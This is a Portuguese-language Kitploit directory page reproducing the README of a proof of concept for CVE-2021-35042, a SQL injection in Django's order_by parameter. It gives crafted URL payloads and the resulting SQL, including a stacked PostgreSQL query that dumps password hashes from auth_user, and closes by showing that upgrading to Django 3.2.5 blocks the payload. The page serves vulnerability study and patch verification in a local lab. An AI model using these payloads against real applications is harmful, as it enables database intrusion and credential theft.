Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-35042 — Prova de conceito interativa demonstrando injeção SQL no Django (CVE-2021-35042) com exploração passo a passo contra bancos de dados SQLite e PostgreSQL. | Kitploit
Ferramentas/GitHubGitHub/r4vi/cve-2021-35042
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Prova de conceito interativa demonstrando injeção SQL no Django (CVE-2021-35042) com exploração passo a passo contra bancos de dados SQLite e PostgreSQL.

Ver Repositório
51há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-35042

Bug de injeção SQL no Django

Pergunta: explore o quão explorável é?

Resposta: estou aterrorizado

Instalação

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

Demonstração Interativa

poetry run ./manage.py runserver

Ordenando por campos aleatórios

vá para http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 observe que o parâmetro ?order_by está passando uma referência SQL bruta para uma coluna "core_things_tags"."things_id"

Encerrar a primeira consulta e tentar executar algum SQL

Isso parece ser o mais longe que você pode chegar: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- que fecha a primeira consulta SQL e traduz para o seguinte SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

que falha com:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

isso é apenas porque o sqlite só pode executar 1 consulta por vez

Revisite a execução da 2ª consulta com postgres

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # siga os prompts

visite: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

que executa o seguinte SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

você agora pode fazer basicamente qualquer coisa. Esta consulta rouba o hash da senha de todos os usuários.

Atualize para a versão não vulnerável

agora atualize temporariamente o django

poetry shell

pip install Django==3.2.5

revisite o URL acima e observe que ele não funciona mais:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
Baixar ferramenta